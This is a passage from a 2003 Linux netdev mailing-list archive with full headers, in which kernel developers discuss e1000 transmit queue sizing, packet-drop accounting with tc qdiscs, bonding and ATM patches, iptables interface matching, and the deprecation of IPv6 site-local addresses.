Lotus Notes Release 6.0.2CF1 June 9, 2003 Message-ID: From: Ricardo C Gonzalez Date: Thu, 11 Sep 2003 21:20:18 -0500 X-MIMETrack: Serialize by Router on D01ML063/01/M/IBM(Release 6.0.2CF2 JHEG5P4HSL JBONL5L8FGD MIAS5MHLYW|August 26, 2003) at 09/11/2003 22:20:20 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII X-archive-position: 5832 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ricardoz@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 1061 Lines: 30 Jamal wrote: >* increase instead the txquelen (as suggested by Davem); user space >tools like ip or ifconfig could do it. The standard size has been around >100 for 100Mbps; i suppose it is fair to say that Gige can move data out >at 10x that; so set it to 1000. Maybe you can do this from the driver >based on what negotiated speed is detected? This is also another way to do it. As long as we make it harder for users to drop packets and get up to date with Gigabit speeds. We would also have to think about the upcomming 10Gige adapters and their queue sizes, but that is a separate issue. Anyway, the driver can easly set the txqueuelen to 1000. We should care about counting the packets being dropped on the transmit side. Would it be the responsability of the driver to account for this drops? Because each driver has a dedicated software queue and in my opinion, the driver should account for this packets. regards, ---------------------------------------------------------------------------------- *** ALWAYS THINK POSITIVE *** From chas@cmf.nrl.navy.mil Thu Sep 11 19:24:20 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Sep 2003 19:24:24 -0700 (PDT) Received: from ginger.cmf.nrl.navy.mil (ginger.cmf.nrl.navy.mil [134.207.10.161]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8C2OJYa014522 for ; Thu, 11 Sep 2003 19:24:20 -0700 Received: from cmf.nrl.navy.mil (thirdoffive.cmf.nrl.navy.mil [134.207.10.180]) by ginger.cmf.nrl.navy.mil (8.12.7/8.12.7) with ESMTP id h8C2O3Sa000392; Thu, 11 Sep 2003 22:24:04 -0400 (EDT) Message-Id: <200309120224.h8C2O3Sa000392@ginger.cmf.nrl.navy.mil> To: "David S. Miller" cc: netdev@oss.sgi.com, levon@movementarian.org Reply-To: chas3@users.sourceforge.net Subject: Re: [PATCH][ATM] a few patches from John Levon In-reply-to: Your message of "Thu, 11 Sep 2003 17:59:07 PDT." <20030911175907.0d480a98.davem@redhat.com> Date: Thu, 11 Sep 2003 22:24:04 -0400 From: chas williams X-Spam-Score: () hits=-0.9 X-Virus-Scanned: NAI Completed X-Scanned-By: MIMEDefang 2.30 (www . roaringpenguin . com / mimedefang) X-archive-position: 5833 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: chas@cmf.nrl.navy.mil Precedence: bulk X-list: netdev Content-Length: 301 Lines: 7 In message <20030911175907.0d480a98.davem@redhat.com>,"David S. Miller" writes: >You're sending double patches again Chas. > >This would all actually be easier if you sent each ATM patch in >a seperate email. When you send them all in one group it's harder that's fine with me (and easier as well). From davem@pizda.ninka.net Thu Sep 11 19:36:05 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Sep 2003 19:36:16 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8C2a4Ya015321 for ; Thu, 11 Sep 2003 19:36:05 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id TAA14425; Thu, 11 Sep 2003 19:25:07 -0700 Date: Thu, 11 Sep 2003 19:25:07 -0700 From: "David S. Miller" To: Krishna Kumar Cc: kuznet@ms2.inr.ac.ru, yoshfuji@linux-ipv6.org, netdev@oss.sgi.com, krkumar@us.ibm.com Subject: Re: O/M flags against 2.6.0-test1 Message-Id: <20030911192507.0b3f2633.davem@redhat.com> In-Reply-To: <3F58D567.2050201@us.ibm.com> References: <20030730220223.4c25fcfe.davem@redhat.com> <20030804165746.133f370a.davem@redhat.com> <3F58D567.2050201@us.ibm.com> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5834 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 480 Lines: 14 On Fri, 05 Sep 2003 11:26:47 -0700 Krishna Kumar wrote: > > Otherwise I am OK with the patch. > > OK, should I fix these two bugs and re-submit against test4 kernel ? > > Dave, I would like to get the prefix list and O/M flags information included > in 2.4 kernel too, are you OK with that ? Yes, rebuild the patch against current 2.6.x and yes I'm happy to apply a 2.4.x version as well. Also, thank you for explaining how the message embedding works. From hadi@cyberus.ca Thu Sep 11 20:06:29 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Sep 2003 20:06:40 -0700 (PDT) Received: from mail.cyberus.ca (mail.cyberus.ca [209.195.118.111]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8C36SYa016607 for ; Thu, 11 Sep 2003 20:06:28 -0700 Received: from cpe0030ab124d2f-cm014500000962.cpe.net.cable.rogers.com ([24.103.99.32] helo=[10.0.0.9]) by mail.cyberus.ca with esmtp (Exim 4.12) id 19xeGP-000D4b-00; Thu, 11 Sep 2003 23:06:25 -0400 Subject: Re: [e1000 2.6 10/11] TxDescriptors -> 1024 default From: jamal Reply-To: hadi@cyberus.ca To: Ricardo C Gonzalez Cc: greearb@candelatech.com, jgarzik@pobox.com, scott.feldman@intel.com, netdev@oss.sgi.com In-Reply-To: References: Content-Type: text/plain Organization: jamalopolis Message-Id: <1063335511.1031.38.camel@jzny.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 Date: 11 Sep 2003 23:05:54 -0400 Content-Transfer-Encoding: 7bit X-archive-position: 5835 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev Content-Length: 1217 Lines: 39 On Thu, 2003-09-11 at 22:20, Ricardo C Gonzalez wrote: > Jamal wrote: > We should care about counting the packets being dropped on the > transmit side. Would it be the responsability of the driver to account for > this drops? Because each driver has a dedicated software queue and in my > opinion, the driver should account for this packets. This is really the schedulers responsibility. Its hard for the driver to keep track of why a packet was dropped. Example, could be dropped to make room for a higher priority packet thats being anticipated to show up soon. The simple default 3-band scheduler unfortunately doesnt quiet show its stats ...so simple way to see drops is: - install the prio qdisc ------ [root@jzny root]# tc qdisc add dev eth0 root prio [root@jzny root]# tc -s qdisc qdisc prio 8001: dev eth0 bands 3 priomap 1 2 2 2 1 2 0 0 1 1 1 1 1 1 1 1 Sent 42 bytes 1 pkts (dropped 0, overlimits 0) ----- or you may wanna install a single pfifo queue with size of 1000 each (although this is a little too mediavial) example: #tc qdisc add dev eth0 root pfifo limit 1000 #tc -s qdisc qdisc pfifo 8002: dev eth0 limit 1000p Sent 0 bytes 0 pkts (dropped 0, overlimits 0) etc cheers, jamal From scott.feldman@intel.com Thu Sep 11 22:13:57 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Sep 2003 22:14:06 -0700 (PDT) Received: from hermes.py.intel.com (hermes.py.intel.com [146.152.216.3]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8C5DuYa021420 for ; Thu, 11 Sep 2003 22:13:57 -0700 Received: from petasus.py.intel.com (petasus.py.intel.com [146.152.221.4]) by hermes.py.intel.com (8.11.6p2/8.11.6/d: outer.mc,v 1.83 2003/09/05 14:45:27 rfjohns1 Exp $) with ESMTP id h8C597q24964 for ; Fri, 12 Sep 2003 05:09:07 GMT Received: from orsmsxvs040.jf.intel.com (orsmsxvs040.jf.intel.com [192.168.65.206]) by petasus.py.intel.com (8.11.6p2/8.11.6/d: inner.mc,v 1.35 2003/05/22 21:18:01 rfjohns1 Exp $) with SMTP id h8C5DXK09502 for ; Fri, 12 Sep 2003 05:13:33 GMT Received: from orsmsx332.amr.corp.intel.com ([192.168.65.60]) by orsmsxvs040.jf.intel.com (NAVGW 2.5.2.11) with SMTP id M2003091122134903473 ; Thu, 11 Sep 2003 22:13:49 -0700 Received: from orsmsx402.amr.corp.intel.com ([192.168.65.208]) by orsmsx332.amr.corp.intel.com with Microsoft SMTPSVC(5.0.2195.5329); Thu, 11 Sep 2003 22:13:49 -0700 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-MimeOLE: Produced By Microsoft Exchange V6.0.6375.0 Subject: RE: [e1000 2.6 10/11] TxDescriptors -> 1024 default Date: Thu, 11 Sep 2003 22:13:48 -0700 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [e1000 2.6 10/11] TxDescriptors -> 1024 default Thread-Index: AcN4mYdZM4QdDIBwQJeEPlxr+jl3NwATa7zg From: "Feldman, Scott" To: "Jeff Garzik" Cc: , X-OriginalArrivalTime: 12 Sep 2003 05:13:49.0318 (UTC) FILETIME=[A63DAA60:01C378EC] Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id h8C5DuYa021420 X-archive-position: 5836 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: scott.feldman@intel.com Precedence: bulk X-list: netdev Content-Length: 1491 Lines: 35 > Feldman, Scott wrote: > > * Change the default number of Tx descriptors from 256 to 1024. > > Data from [ricardoz@us.ibm.com] shows it's easy to overrun > > the Tx desc queue. > > > All e1000 patches applied except this one. > > You're just wasting memory. 256 descriptors does sound like enough, but what about the fragmented skb case? MAX_SKB_FRAGS is (64K/4K + 2) = 18, and each fragment gets mapped to one descriptor. It even gets worse with e1000 because we may need to split a fragment into two fragments in the driver to workaround hardware errata. :-( It would be interesting to see the frags:skb ratio for 2.6 with TSO enabled and disabled with Rick's test. So our effective number of descriptors needs to be adjusted by that ratio. I agree with David that it's wasteful for the device driver to worry about more than dev->tx_queue_len, but that's in skb units, not descriptor units. On the other hand, if we're always running the descriptor ring near empty, we've got other problems. It seems to reason that it doesn't matter how big the ring is if we're in that situation. If the CPU can overrun the device, expanding the queues between the CPU and the device may help with bursts but gets you nothing for a sustained load. I flunked that queuing theory class anyway, so what do I know? Every time I get stuck in a traffic slug on the freeway, I think about that class. Hey, that means my car is like an skb, so maybe longer roads would help? Not! -scott From jgarzik@pobox.com Thu Sep 11 23:50:22 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Sep 2003 23:50:29 -0700 (PDT) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8C6oKYa024067 for ; Thu, 11 Sep 2003 23:50:21 -0700 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:39811 helo=pobox.com) by www.linux.org.uk with esmtp (Exim 4.22) id 19xWbY-00085S-Mp; Thu, 11 Sep 2003 19:55:44 +0100 Message-ID: <3F60C524.5070904@pobox.com> Date: Thu, 11 Sep 2003 14:55:32 -0400 From: Jeff Garzik Organization: none User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) Gecko/20021213 Debian/1.2.1-2.bunk X-Accept-Language: en MIME-Version: 1.0 To: Amir Noam CC: bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com Subject: Re: [PATCH 0/10] [bonding 2.6] port 2.4 bug fixes to 2.6 References: <200309042043.25567.amir.noam@intel.com> In-Reply-To: <200309042043.25567.amir.noam@intel.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 5837 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 729 Lines: 22 Amir Noam wrote: > The following set ports to 2.6 numerous bug fixes that went into > 2.4 recently. Patches apply on 2.6.0-test4. Compile tested only. > > patch1: fix 802.3ad long fail over with high UDP Tx stress > patch2: fix load balance problem with high UDP Tx stress > patch3: fix ARP monitoring bug > patch4: fix kernel panic when optional feature used > patch5: fix change active command > patch6: fix OOPS in bonding driver, when removing primary > patch7: embed stats struct inside bonding private struct > patch8: fix error handling in init code > patch9: make each bond device use its own /proc entry > patch10: misc fixes: missing include, typos, comments > All patches in this series applied. Jeff From dwmw2@infradead.org Fri Sep 12 01:07:07 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 12 Sep 2003 01:07:17 -0700 (PDT) Received: from executor.cambridge.redhat.com (pub237.cambridge.redhat.com [213.86.99.237] (may be forged)) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8C875Ya026321 for ; Fri, 12 Sep 2003 01:07:06 -0700 Received: from hades.cambridge.redhat.com (hades.cambridge.redhat.com [172.16.18.64]) by executor.cambridge.redhat.com (Postfix) with ESMTP id EF53F63D63; Fri, 12 Sep 2003 09:06:59 +0100 (BST) Received: from localhost.localdomain (IDENT:rZ9aYdRU5yfP7ZM7jSJiGghu9xuU3rY8@localhost.localdomain [127.0.0.1]) by hades.cambridge.redhat.com (8.12.9/8.11.0) with ESMTP id h8C86w54011859; Fri, 12 Sep 2003 09:06:58 +0100 Subject: Re: IPv6 6to4 on site-local networks. From: David Woodhouse To: Pekka Savola Cc: netdev@oss.sgi.com In-Reply-To: References: Content-Type: text/plain Message-Id: <1063354018.23778.376.camel@hades.cambridge.redhat.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.5 (dwmw2) Date: Fri, 12 Sep 2003 09:06:58 +0100 Content-Transfer-Encoding: 7bit X-archive-position: 5838 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dwmw2@infradead.org Precedence: bulk X-list: netdev Content-Length: 3244 Lines: 69 On Thu, 2003-09-11 at 19:40 +0300, Pekka Savola wrote: > > What's going to break is talking to _internal_ machines using our > > locally-derived address. Our packets will get to them fine, over the > > internal tunnels, but their route back to us will then be over the > > Internet rather than through the internal tunnels, and hence it'll get > > firewalled. > > .. which is exactly why I proposed the above. Breaking connectivity > indicates that something is wrong.. better than communicating insecurely > while believing the communication is secure :-) Er, if my workstation tries to talk to an internal machine using its locally-derived (i.e. public) address, that _is_ going to break, since the remote internal machine it going to send a reply which will be routed externally, then blocked when it hits my local ingress-preventing firewall. But you're right -- we should probably make it break earlier if we can. > > > Mobile IPv6 won't help with that, in practice. That's because the binding > > > between care-of and home addresses must be secured. > > <...> > > > So, this would create many new roundtrips, which is not really what you'd > > > want.. > > > > Well, the _initial_ connection would all be tunnelled, and the binding > > would be set up in parallel, so that you end up routing optimally; just > > going via the tunnel to start with. > > I don't see how that would be different from a VPN scenario, but yes; I > guess if you deployed MIPv6 on every host, you could use it to communicate > securely and in ad-hoc fashion between the mobile node and the home agent. > You could even forget about CIPE for v6. Mobile IPv6 requires IPv6 > connectivity too, though. But I'm not sure if that buys you much in this > scenario. You're right -- it would indeed be much like a VPN scenario. Except that unlike an IPv4 VPN where your default route to a box two blocks away goes via a transatlantic tunnel, it doesn't have to suck. We accept the tunnelling-via-HQ overhead only for short-lived and spurious connections; for long-term connections we ensure the remote host to which we're talking actually updates its binding cache to know our care-of address. I don't really want to make every internal box do mobile-ipv6 for _itself_, but I think it can be done by the local router on their behalf. The office router sits between the internal IPv6-capable hosts and the outside world. It uses radvd to advertise the 'home' addresses, and also takes care of setting up care-of addresses for the internal boxen, with any remote hosts they seem to make a habit of talking to. That way, we get _outgoing_ packets to travel directly, while _incoming_ packets sometimes go via HQ and a tunnel, but in the cases we care about, where we're exchanging a lot of packets with a particular remote host, they'll end up going directly. All the alternatives, apart from the first 'use site-local addresses for internal operation, global-scope addresses for external', are looking fairly complex and fragile, to be honest. Part of me wants to say 'Sod it', and assume that site-local scope isn't going to actually be abolished, since doing so seems to be _such_ a bad idea once you try to work around its absence. -- dwmw2 From jgarzik@pobox.com Fri Sep 12 01:50:34 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 12 Sep 2003 01:50:46 -0700 (PDT) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8C8oXYa028506 for ; Fri, 12 Sep 2003 01:50:34 -0700 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:39847 helo=pobox.com) by www.linux.org.uk with esmtp (Exim 4.22) id 19xXbT-0000Q4-5s; Thu, 11 Sep 2003 20:59:43 +0100 Message-ID: <3F60D423.4040005@pobox.com> Date: Thu, 11 Sep 2003 15:59:31 -0400 From: Jeff Garzik Organization: none User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) Gecko/20021213 Debian/1.2.1-2.bunk X-Accept-Language: en MIME-Version: 1.0 To: Ben Greear CC: "Feldman, Scott" , netdev@oss.sgi.com, ricardoz@us.ibm.com Subject: Re: [e1000 2.6 10/11] TxDescriptors -> 1024 default References: <3F60CA6D.9090503@pobox.com> <3F60D0F3.8080006@candelatech.com> In-Reply-To: <3F60D0F3.8080006@candelatech.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 5839 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 1070 Lines: 36 Ben Greear wrote: > Jeff Garzik wrote: > >> Feldman, Scott wrote: >> >>> * Change the default number of Tx descriptors from 256 to 1024. >>> Data from [ricardoz@us.ibm.com] shows it's easy to overrun >>> the Tx desc queue. >> >> >> >> >> All e1000 patches applied except this one. >> >> Of _course_ it's easy to overrun the Tx desc queue. That's why we >> have a TX queue sitting on top of the NIC's hardware queue. And TCP >> socket buffers on top of that. And similar things. >> >> Descriptor increases like this are usually the result of some >> sillyhead blasting out UDP packets, and then wondering why he sees >> packet loss on the local computer (the "blast out packets" side). > > > Erm, shouldn't the local machine back itself off if the various > queues are full? Some time back I looked through the code and it > appeared to. If not, I think it should. Given the guarantees of the protocol, the net stack has the freedom to drop UDP packets, for example at times when (for TCP) one would otherwise queue a packet for retransmit. Jeff From laforge@netfilter.org Fri Sep 12 02:08:27 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 12 Sep 2003 02:08:35 -0700 (PDT) Received: from coruscant.gnumonks.org (mail@coruscant.franken.de [193.174.159.226]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8C98PYa031777 for ; Fri, 12 Sep 2003 02:08:26 -0700 Received: from uucp by coruscant.gnumonks.org with local-bsmtp (Exim 4.22) id 19xjuh-0007Y0-SP for netdev@oss.sgi.com; Fri, 12 Sep 2003 11:08:23 +0200 Received: from laforge by obroa-skai.gnumonks.org with local (Exim 3.36 #1) id 19xjio-0000ct-00; Fri, 12 Sep 2003 10:56:06 +0200 Date: Fri, 12 Sep 2003 10:56:06 +0200 From: Harald Welte To: jamal Cc: "David S. Miller" , Bart De Schuymer , acme@conectiva.com.br, netfilter-devel@lists.netfilter.org, netdev@oss.sgi.com Subject: Re: ipt_physdev.c alignment problems on parisc64 Message-ID: <20030912085606.GC2350@obroa-skai.de.gnumonks.org> Mail-Followup-To: Harald Welte , jamal , "David S. Miller" , Bart De Schuymer , acme@conectiva.com.br, netfilter-devel@lists.netfilter.org, netdev@oss.sgi.com References: <200309022116.41697.bdschuym@pandora.be> <20030903200426.59d0af4a.davem@redhat.com> <20030905153152.GA3623@obroa-skai.de.gnumonks.org> <1063330846.1028.11.camel@jzny.localdomain> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="KDt/GgjP6HVcx58l" Content-Disposition: inline In-Reply-To: <1063330846.1028.11.camel@jzny.localdomain> X-Operating-System: Linux obroa-skai.de.gnumonks.org 2.6.0-test4 X-Date: Today is Setting Orange, the 36th day of Bureaucracy in the YOLD 3169 User-Agent: Mutt/1.5.4i X-archive-position: 5840 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: laforge@netfilter.org Precedence: bulk X-list: netdev Content-Length: 2233 Lines: 59 --KDt/GgjP6HVcx58l Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Thu, Sep 11, 2003 at 09:40:46PM -0400, jamal wrote: > Harald, >=20 > Could you not resolve all the ifindices of the said ppp+ interfaces > at rule installation time and do an integer compare instead? No, this is a different semantic. Ifindexes change when an interface goes down and comes up again (let's say you have a PPTP tunnel server which terminates a couple of ppp* interfaces). What could be done, is register with the netdev notifiers and then at every ifup/ifdown event change the ifindex[es] in all rules that use=20 this style of match. This is what was done in the 2.2 ipchains code, if I am not mistaken. However, Rusty went for the string-compare solution while implementing iptables. =20 Imagine somebody with lots of ppp interfaces (let's say 40)... and we would need to resolve all 40 into ifindexes, put them into an array... how big would you like to make the array? how many interfaces do people have? how much space do you want to waste (dynamically reallocating this space while the ruleset is already loaded is not possible). And then you have 1000 rules, each of it using a ppp* style match. than at every ifdown/ifup you iterate over 1000 rules, checking if you need to update one of the 40 ifindexes? quite slow... > cheers, > jamal --=20 - Harald Welte http://www.netfilter.org/ =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D "Fragmentation is like classful addressing -- an interesting early architectural error that shows how much experimentation was going on while IP was being designed." -- Paul Vixie --KDt/GgjP6HVcx58l Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.2 (GNU/Linux) iD8DBQE/YYomXaXGVTD0i/8RAuezAKCuInUQScakwr9dcR6Nrfgu0ewlIwCgg9sN ueVML/xfEh06XNPclYhyROI= =fcak -----END PGP SIGNATURE----- --KDt/GgjP6HVcx58l-- From pekkas@netcore.fi Fri Sep 12 02:48:17 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 12 Sep 2003 02:48:23 -0700 (PDT) Received: from netcore.fi (netcore.fi [193.94.160.1]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8C9mFYa009569 for ; Fri, 12 Sep 2003 02:48:16 -0700 Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id h8C9m6d23922; Fri, 12 Sep 2003 12:48:06 +0300 Date: Fri, 12 Sep 2003 12:48:06 +0300 (EEST) From: Pekka Savola To: David Woodhouse cc: netdev@oss.sgi.com Subject: Re: IPv6 6to4 on site-local networks. In-Reply-To: <1063354018.23778.376.camel@hades.cambridge.redhat.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 5841 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: pekkas@netcore.fi Precedence: bulk X-list: netdev Content-Length: 2021 Lines: 47 On Fri, 12 Sep 2003, David Woodhouse wrote: > I don't really want to make every internal box do mobile-ipv6 for > _itself_, but I think it can be done by the local router on their > behalf. I wouldn't spend too many cycles on this; the issue is far from trivial, trust me :-) [...] > All the alternatives, apart from the first 'use site-local addresses for > internal operation, global-scope addresses for external', are looking > fairly complex and fragile, to be honest. > > Part of me wants to say 'Sod it', and assume that site-local scope isn't > going to actually be abolished, since doing so seems to be _such_ a bad > idea once you try to work around its absence. Well, I can say for certain that site-locals are going out. However, nothing prevents still using them, though. However, it's likely that you'd have to redesign the network, or at least renumber it if you choose that path. A year or two down the path, there may be another "local addressing" approach.. there is already a proposal: http://www.ietf.org/internet-drafts/draft-ietf-ipv6-unique-local-addr-00.txt .. but whether thats *the* way, or a way at all, remains to be seen. You might also want to check out the document which is documenting the deprecation (note, it's still a draft version, and likely to evolve a lot), to learn about some of the problems of the site-locals: http://www.ietf.org/internet-drafts/draft-ietf-ipv6-deprecate-site-local-00.txt One possible, conceptually maybe easier way, would be to deploy a single, internal ISATAP domain (so you'd have only _one_ internal IPv6 subnet, which would really be just automatic tunnel between all v6 hosts in your enterprise), but that would require getting ISATAP in all the kernels and iputils you use first, and IMHO it wouldn't be the same as deployingi real IPv6... :-) -- Pekka Savola "You each name yourselves king, yet the Netcore Oy kingdom bleeds." Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings From dwmw2@infradead.org Fri Sep 12 03:17:02 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 12 Sep 2003 03:17:11 -0700 (PDT) Received: from executor.cambridge.redhat.com (pub237.cambridge.redhat.com [213.86.99.237] (may be forged)) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8CAH0Ya012783 for ; Fri, 12 Sep 2003 03:17:01 -0700 Received: from hades.cambridge.redhat.com (hades.cambridge.redhat.com [172.16.18.64]) by executor.cambridge.redhat.com (Postfix) with ESMTP id A19DB63D63; Fri, 12 Sep 2003 11:16:54 +0100 (BST) Received: from localhost.localdomain (IDENT:/gbNDNvVFGPZq6vqyBCwyun1PRDJNDDv@localhost.localdomain [127.0.0.1]) by hades.cambridge.redhat.com (8.12.9/8.11.0) with ESMTP id h8CAGr54020691; Fri, 12 Sep 2003 11:16:53 +0100 Subject: Re: IPv6 6to4 on site-local networks. From: David Woodhouse To: Pekka Savola Cc: netdev@oss.sgi.com In-Reply-To: References: Content-Type: text/plain; charset=UTF-8 Message-Id: <1063361813.23778.419.camel@hades.cambridge.redhat.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.5 (dwmw2) Date: Fri, 12 Sep 2003 11:16:53 +0100 Content-Transfer-Encoding: 8bit X-archive-position: 5842 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dwmw2@infradead.org Precedence: bulk X-list: netdev Content-Length: 3294 Lines: 69 On Fri, 2003-09-12 at 12:48 +0300, Pekka Savola wrote: > A year or two down the path, there may be another "local addressing" > approach.. there is already a proposal: > > http://www.ietf.org/internet-drafts/draft-ietf-ipv6-unique-local-addr-00.txt > > .. but whether thats *the* way, or a way at all, remains to be seen. So the advocated FC00::/8 locally-assigned addresses would be a bit like site-scope addresses, but with a higher probability of actually being globally-unique, although that is entirely pointless, and without all the useful semantics w.r.t. address selection. Great. > You might also want to check out the document which is documenting the > deprecation (note, it's still a draft version, and likely to evolve a > lot), to learn about some of the problems of the site-locals: > > http://www.ietf.org/internet-drafts/draft-ietf-ipv6-deprecate-site-local-00.txt It's interesting to see the arguments therein. I thought there might have been some valid ones I wasn't previously aware of, since I'm fairly new to IPv6. That doesn't really seem to be the case -- all the arguments could apply just as well to RFC1918 too. §2.1 -- people might use _internal_ addresses of one site when they've moved to another. Just like trying to talk to RFC1918 internal addresses when you've moved. Yes it's a vague possibility -- compounded if people are playing schizodns tricks so that internal addresses actually have public-looking names -- but in practice it's a failure mode for RFC1918 already, and hence is known and avoided. Site addresses don't work off-site. Film at 11. §2.2 -- internal addresses 'leak'. Not if you apply even a modicum of clue. Same as RFC1918 in IPv4. You don't let packets with private source addresses outside your borders, and you don't put them in public DNS. §2.3 -- routing is hard. Let's go shopping. You have a global internal network routed over crypto tunnels between multiple sites. And you can't handle setting up the routing? Yeah, right. §2.4 -- site is an illdefined concept. Yes, that's sort of the point. Its scope is _allowed_ to vary, because it's user-defined. At long as it doesn't leak, which it doesn't, you don't care whether I happen to use 'site' to mean a single physical location, or my global intranet. §3 -- development of a better alternative. That would be nice. Nothing we've discussed so far really seems 'better' though. > One possible, conceptually maybe easier way, would be to deploy a single, > internal ISATAP domain (so you'd have only _one_ internal IPv6 subnet, > which would really be just automatic tunnel between all v6 hosts in your > enterprise), but that would require getting ISATAP in all the kernels and > iputils you use first, and IMHO it wouldn't be the same as deployingi real > IPv6... :-) Some 6-in-4 method which gives at least a /64 to each IPv4 address is nicer, since then you get the choice of making each host play for itself to get optimal routing, or letting them route via a single tunnel-capable router on each network segment. And it's an orthogonal issue to the _real_ problem, which is getting optimal IPv6 routing to the outside world by multi-homing, without the useful 'scope' concept forcing you to pick the right addresses all the time. -- dwmw2 From blueflux@koffein.net Fri Sep 12 03:59:08 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 12 Sep 2003 03:59:12 -0700 (PDT) Received: from oskar-lap.agatha (lennart.direct2internet.com [217.115.36.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8CAx7Ya014579 for ; Fri, 12 Sep 2003 03:59:08 -0700 Received: by oskar-lap.agatha (Postfix, from userid 1000) id 8C38A70B15; Fri, 12 Sep 2003 12:56:32 +0200 (CEST) Received: from localhost (localhost [127.0.0.1]) by oskar-lap.agatha (Postfix) with ESMTP id 2A0B73CB5F; Fri, 12 Sep 2003 12:56:32 +0200 (CEST) Date: Fri, 12 Sep 2003 12:56:32 +0200 (CEST) From: Oskar Andreasson X-X-Sender: blueflux@oskar-lap.agatha To: Harald Welte Cc: jamal , "David S. Miller" , Bart De Schuymer , acme@conectiva.com.br, netfilter-devel@lists.netfilter.org, netdev@oss.sgi.com Subject: Re: 